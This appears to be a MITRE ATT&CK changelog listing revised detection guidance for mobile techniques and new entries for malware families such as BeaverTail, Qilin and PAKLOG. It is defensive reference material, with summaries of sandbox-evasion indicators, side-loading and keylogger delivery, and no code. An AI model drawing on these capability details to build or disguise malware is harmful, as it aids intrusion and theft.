New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:49.389000+00:002025-10-24 17:48:47.482000+00:00
x_mitre_detectionThis is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.

[T1423] Network Service Scanning

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:47.481000+00:002025-10-24 17:48:35.175000+00:00
x_mitre_detectionNetwork service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1509] Non-Standard Port

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:51.980000+00:002025-10-24 17:49:07.116000+00:00
x_mitre_detectionApplication vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.

[T1406] Obfuscated Files or Information

Current version: 3.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:55.894000+00:002025-10-24 17:49:25.462000+00:00
x_mitre_detectionDynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.

[T1481.003] Web Service: One-Way Communication

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:56.869000+00:002025-10-24 17:49:28.337000+00:00
x_mitre_detectionApplication vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

[T1644] Out of Band Data

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:58.451000+00:002025-10-24 17:49:34.162000+00:00
x_mitre_detectionIf a user sees a notification with text they do not recognize, they should review their list of installed applications.

[T1629.001] Impair Defenses: Prevent Application Removal

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-28 15:38:41.106000+00:002025-10-24 17:49:28.687000+00:00
x_mitre_detectionUsers can view a list of device administrators and applications that have registered accessibility services in device settings. Users can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.

[T1424] Process Discovery

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:45.337000+00:002025-10-24 17:48:28.244000+00:00
x_mitre_detectionMobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory.

[T1631] Process Injection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:54.246000+00:002025-10-24 17:49:16.232000+00:00
x_mitre_detectionApplication vetting services could look for misuse of dynamic libraries.

[T1636] Protected User Data

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:44.829000+00:002025-10-24 17:48:25.642000+00:00
x_mitre_detectionUsers can view permissions granted to an application in device settings. Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny.

[T1604] Proxy Through Victim

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:49.548000+00:002025-10-24 17:48:50.301000+00:00
x_mitre_detectionEnterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.

[T1631.001] Process Injection: Ptrace System Calls

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:45.841000+00:002025-10-24 17:48:30.394000+00:00
x_mitre_detectionApplication vetting services could look for misuse of dynamic libraries.

[T1430.001] Location Tracking: Remote Device Management Services

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:52.807000+00:002025-10-24 17:49:09.660000+00:00
x_mitre_detectionGoogle sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.

[T1582] SMS Control

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:54.090000+00:002025-10-24 17:49:15.008000+00:00
x_mitre_detectionUsers can view the default SMS handler in system settings.

[T1636.004] Protected User Data: SMS Messages

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:54.890000+00:002025-10-24 17:49:22.003000+00:00
x_mitre_detectionOn Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_SMS` in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it.

[T1603] Scheduled Task/Job

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:26.617000+00:002025-10-24 17:48:18.936000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionScheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1513] Screen Capture

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:50.988000+00:002025-10-24 17:48:57.610000+00:00
x_mitre_detectionThe user can view a list of apps with accessibility service privileges in the device settings. Application vetting services can look for the use of the Android `MediaProjectionManager` class, applying extra scrutiny to applications that use the class.

[T1418.001] Software Discovery: Security Software Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:45.687000+00:002025-10-24 17:48:29.485000+00:00
x_mitre_detectionApplication vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

[T1418] Software Discovery

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:45.152000+00:002025-10-24 17:48:27.789000+00:00
x_mitre_detectionApplication vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

[T1406.002] Obfuscated Files or Information: Software Packing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:49.224000+00:002025-10-24 17:48:46.514000+00:00
x_mitre_detectionApplication vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

[T1635] Steal Application Access Token

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2023-12-26 19:17:13.294000+00:002025-10-24 17:48:31.876000+00:00
x_mitre_detectionOn Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)

[T1406.001] Obfuscated Files or Information: Steganography

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:58.917000+00:002025-10-24 17:49:38.813000+00:00
x_mitre_detectionDetection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography.

[T1409] Stored Application Data

Current version: 3.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 18:31:54.805000+00:002025-10-24 17:48:56.509000+00:00
x_mitre_detectionApplication vetting services could detect when applications store data insecurely, for example, in unprotected external storage.

[T1632] Subvert Trust Controls

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:51.458000+00:002025-10-24 17:48:59.522000+00:00
x_mitre_detectionOn Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. + +On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

[T1474] Supply Chain Compromise

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 13:32:52.029000+00:002025-10-24 17:48:23.643000+00:00
x_mitre_detectionUsage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

[T1628.001] Hide Artifacts: Suppress Application Icon

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-12 19:47:06.884000+00:002025-10-24 17:49:35.410000+00:00
x_mitre_detectionThe user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application’s icon, they should inspect the application to ensure it is genuine. Application vetting services could potentially detect the usage of APIs intended for suppressing the application’s icon.

[T1521.001] Encrypted Channel: Symmetric Cryptography

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:54.401000+00:002025-10-24 17:49:17.802000+00:00
x_mitre_detectionSince data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

[T1633.001] Virtualization/Sandbox Evasion: System Checks

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:50.837000+00:002025-10-24 17:48:56.336000+00:00
x_mitre_detectionApplication vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

[T1426] System Information Discovery

Current version: 1.2

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:57.841000+00:002025-10-24 17:49:31.141000+00:00
x_mitre_detectionSystem information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1422] System Network Configuration Discovery

Current version: 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-20 23:35:22.949000+00:002025-10-24 17:49:26.973000+00:00
x_mitre_detectionApplication vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

[T1421] System Network Connections Discovery

Current version: 2.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:57.189000+00:002025-10-24 17:49:29.321000+00:00
x_mitre_detectionSystem Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1625.001] Hijack Execution Flow: System Runtime API Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:55.191000+00:002025-10-24 17:49:22.267000+00:00
x_mitre_detectionMobile threat defense agents could detect unauthorized operating system modifications by using attestation.

[T1641.001] Data Manipulation: Transmitted Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:51.156000+00:002025-10-24 17:48:57.794000+00:00
x_mitre_detectionApplications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them.

[T1635.001] Steal Application Access Token: URI Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:51.304000+00:002025-10-24 17:48:59.057000+00:00
external_references[2]['url']https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/https://web.archive.org/web/20211023221110/https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionOn Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)

[T1630.001] Indicator Removal on Host: Uninstall Malicious Application

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:44.210000+00:002025-10-24 17:48:23.278000+00:00
x_mitre_detectionUsers can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of the accessibility service or features that typically require root access.

[T1623.001] Command and Scripting Interpreter: Unix Shell

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:50.314000+00:002025-10-24 17:48:54.078000+00:00
x_mitre_detectionCommand-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. + +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)

[T1628.002] Hide Artifacts: User Evasion

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:46.535000+00:002025-10-24 17:48:32.337000+00:00
x_mitre_detectionMobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1512] Video Capture

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:56.716000+00:002025-10-24 17:49:28.248000+00:00
x_mitre_detectionThe user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. During the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny.

[T1633] Virtualization/Sandbox Evasion

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:46.725000+00:002025-10-24 17:48:32.877000+00:00
x_mitre_detectionApplication vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

[T1437.001] Application Layer Protocol: Web Protocols

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:46.363000+00:002025-10-24 17:48:31.318000+00:00
x_mitre_detectionAbuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1481] Web Service

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:55.035000+00:002025-10-24 17:49:22.184000+00:00
x_mitre_detectionApplication vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.
Deletions

[T1454] Malicious SMS Message

Current version: 1.0

Description:

Test

ics-attack

Patches

[T0852] Screen Capture

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_detection
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:51.447000+00:002025-10-24 17:49:21.744000+00:00

[T0882] Theft of Operational Information

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_detection
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:50.981000+00:002025-10-24 17:49:16.405000+00:00

Software

enterprise-attack

New Software

[S1226] BOOKWORM

Current version: 1.0

Description:

BOOKWORM is a modular trojan known to be leveraged by Mustang Panda and was first observed utilized in 2015. BOOKWORM was later updated in late 2021 and the fall of 2022 to launch shellcode represented as UUID parameters. (Citation: Broadcom)(Citation: Unit42 Bookworm Nov2015)(Citation: Palo Alto Networks, Unit 42)


[S1246] BeaverTail

Current version: 1.0

Description:

BeaverTail is a malware that has both a JavaScript and C++ variant. Active since 2022, BeaverTail is capable of stealing logins from browsers and serves as a downloader for second stage payloads. BeaverTail has previously been leveraged by North Korea-affiliated actors identified as DeceptiveDevelopment or Contagious Interview. BeaverTail has been delivered to victims through code repository sites and has been embedded within malicious attachments.(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)


[S1237] CANONSTAGER

Current version: 1.0

Description:

CANONSTAGER is a loader known to be leveraged by Mustang Panda and was first observed utilized in 2025. Mustang Panda utilizes DLL side-loading to execute within the victim environment prior to delivering a follow-on malicious encrypted payload. CANONSTAGER leverages Thread Local Storage (TLS) and Native Windows APIs within the victim environment to elude detections. CANONSTAGER also hides its code utilizing window procedures and message queues.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)


[S1224] CASTLETAP

Current version: 1.0

Description:

CASTLETAP is an ICMP port knocking backdoor that has been installed on compromised FortiGate firewalls by UNC3886.(Citation: Mandiant Fortinet Zero Day)


[S1236] CLAIMLOADER

Current version: 1.0

Description:

CLAIMLOADER is a malware variant that frequently accompanies legitimate executables that are used for DLL side-loading known to be leveraged by Mustang Panda and was first observed utilized in 2021.(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)


[S1235] CorKLOG

Current version: 1.0

Description:

CorKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. CorKLOG is delivered through a RAR archive (e.g., src.rar), which contains two files: an executable (lcommute.exe) and the CorKLOG DLL (mscorsvc.dll). CorKLOG has established persistence on the system by creating services or with scheduled tasks.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)


[S1247] Embargo

Current version: 1.0

Description:

Embargo is a ransomware variant written in Rust that has been active since at least May 2024.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) Embargo ransomware operations are associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) Embargo ransomware has been known to be delivered through a loader known as MDeployer which also leverages a malware component known as MS4Killer that facilitates termination of processes operating on the victim hosts.(Citation: ESET Embargo Ransomware October 2024) Embargo is also reportedly a Ransomware as a Service (RaaS).(Citation: ESET Embargo Ransomware October 2024)


[S1230] HIUPAN

Current version: 1.0

Description:

HIUPAN (aka U2DiskWatch) is a is a worm that propagates through removable drives known to be leveraged by Mustang Panda and was first observed utilized in 2024. (Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)


[S1229] Havoc

Current version: 1.0

Description:

Havoc is an open-source post-exploitation command and control (C2) framework first released on GitHub in October 2022 by C5pider (Paul Ungur), who continues to maintain and develop it with community contributors. Havoc provides a wide range of offensive security capabilities and has been adopted by multiple threat actors to establish and maintain control over compromised systems.


[S1249] HexEval Loader

Current version: 1.0

Description:

HexEval Loader is a hex-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware. HexEval Loader was first reported in April 2025. HexEval Loader has previously been leveraged by North Korea-affiliated threat actors identified as Contagious Interview. HexEval Loader has been delivered to victims through code repository sites utilizing typosquatting naming conventions of various npm packages.(Citation: Socket Contagious Interview NPM April 2025)(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)(Citation: Socket HexEval BeaverTail Contagious Interview June 2025)


[S1245] InvisibleFerret

Current version: 1.0

Description:

InvisibleFerret is a modular python malware that is leveraged for data exfiltration and remote access capabilities.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023) InvisibleFerret consists of four modules: main, payload, browser, and AnyDesk.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025) InvisibleFerret malware has been leveraged by North Korea-affiliated threat actors identified as DeceptiveDevelopment or Contagious Interview since 2023.(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024) InvisibleFerret has historically been introduced to the victim environment through the use of the BeaverTail malware.(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)


[S1220] MEDUSA

Current version: 1.0

Description:

MEDUSA is an open-source rootkit that is capable of dynamic linker hijacking, command execution, and logging credentials.(Citation: Google Cloud Mandiant UNC3886 2024)


[S1221] MOPSLED

Current version: 1.0

Description:

MOPSLED is a shellcode-based modular backdoor that has been used by China-nexus cyber espionage actors including UNC3886 and APT41.(Citation: Google Cloud Mandiant UNC3886 2024)


[S1244] Medusa Ransomware

Current version: 1.0

Description:

Medusa Ransomware has been utilized in attacks since at least 2021. Medusa Ransomware has been known to be utilized in conjunction with living off the land techniques and remote management software. Medusa Ransomware has been used in campaigns associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Medusa Ransomware software was initially a closed ransomware variant which later evolved to a Ransomware as a Service (RaaS). Medusa Ransomware has impacted victims from a diverse range of sectors within a multitude of countries, and it is assessed Medusa Ransomware is used in an opportunistic manner.(Citation: CISA Medusa Group Medusa Ransomware March 2025)(Citation: Security Scorecard Medusa Ransomware January 2024)(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)(Citation: Broadcom Medusa Ransomware Medusa Group March 2025)


[S1233] PAKLOG

Current version: 1.0

Description:

PAKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. PAKLOG is deployed via a RAR archive (e.g., key.rar), which contains two files: a signed, legitimate binary (PACLOUD.exe) and the malicious PAKLOG DLL (pa_lang2.dll). The PACLOUD.exe binary is used to side-load the PAKLOG DLL which starts with the keylogger functionality.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)


[S1228] PUBLOAD

Current version: 1.0

Description:

PUBLOAD is a stager malware that has been observed installing itself in existing directories such as C:\Users\Public or creating new directories to stage the malware and its components.(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload) PUBLOAD malware collects details of the victim host, establishes persistence, encrypts victim details using RC4 and communicates victim details back to C2. PUBLOAD malware has previously been leveraged by China-affiliated actors identified as Mustang Panda. PUBLOAD is also known as “NoFive” and some public reporting identifies the loader component as CLAIMLOADER.(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)


[S1242] Qilin

Current version: 1.0

Description:

Qilin ransomware is a Ransomware-as-a-Service (RaaS) that has been active since at least 2022 with versions written in Golang and Rust that are capable of targeting Windows or VMWare ESXi devices. Qilin shares functionality overlaps with Black Basta, REvil, and BlackCat ransomware and its RaaS affiliates have been observed targeting multiple sectors worldwide, including healthcare and education in Asia, Europe, and Africa. (Citation: Trend Micro Agenda Ransomware AUG 2022)(Citation: SentinelOne Qilin NOV 2022)(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)


[S1219] REPTILE

Current version: 1.0

Description:

REPTILE is an open-source Linux rootkit with multiple components that provides backdoor access and functionality.(Citation: Google Cloud Mandiant UNC3886 2024)


[S1222] RIFLESPINE

Current version: 1.0

Description:

RIFLESPINE is a cross-platform backdoor that leverages Google Drive for file transfer and command execution.(Citation: Google Cloud Mandiant UNC3886 2024)


[S1240] RedLine Stealer

Current version: 1.0

Description:

RedLine Stealer is an information-stealer malware variant first identified in 2020.(Citation: ESET RedLine Stealer November 2024)(Citation: Proofpoint RedLine Stealer March 2020)(Citation: Splunk RedLine Stealer June 2023) RedLine Stealer is a Malware as a Service (MaaS) and was reportedly sold as either a one-time purchase or a monthly subscription service.(Citation: ESET RedLine Stealer November 2024)(Citation: Veriti RedLine Stealer MAAS April 2023) Information obtained from RedLine Stealer has been known to be sold on the deep and dark web to Initial Access Brokers (IABs), who use or resell the stolen credentials for further intrusions.(Citation: Kroll RedLine Stealer August 2024)(Citation: Veriti RedLine Stealer MAAS April 2023)


[S1238] STATICPLUGIN

Current version: 1.0

Description:

STATICPLUGIN is a downloader known to be leveraged by Mustang Panda and was first observed utilized in 2025. STATICPLUGIN has utilized a valid certificate in order to bypass endpoint security protections. STATICPLUGIN masqueraded as legitimate software installer by using a custom TForm. STATICPLUGIN has been leveraged to deploy a loader that facilitates follow on malware.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)


[S1234] SplatCloak

Current version: 1.0

Description:

SplatCloak is a malware that disables EDR-related routines used by Windows Defender and Kaspersky to aid in evading detection. SplatCloak has been deployed by SplatDropper and is known to be leveraged by Mustang Panda since 2025.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)


[S1232] SplatDropper

Current version: 1.0

Description:

SplatDropper is a loader that utilizes native windows API to deliver its payload to the victim environment. SplatDropper has been delivered through RAR archives and used legitimate executable for DLL side-loading. SplatDropper is known to be leveraged by Mustang Panda and was first observed utilized in 2025.


[S1227] StarProxy

Current version: 1.0

Description:

StarProxy is custom malware used by Mustang Panda as a post-compromise tool, to enable proxying of traffic between the infected machine and other machines on the same network. (Citation: Zscaler)


[S1223] THINCRUST

Current version: 1.0

Description:

THINCRUST is a Python-based backdoor tool that has been used by UNC3886 since at least 2023.(Citation: Mandiant Fortinet Zero Day)


[S1239] TONESHELL

Current version: 1.0

Description:

TONESHELL is a custom backdoor that has been used since at least Q1 2021.(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023) TONESHELL malware has previously been leveraged by Chinese affiliated actors identified as Mustang Panda.(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Zscaler)


[S1218] VIRTUALPIE

Current version: 1.0

Description:

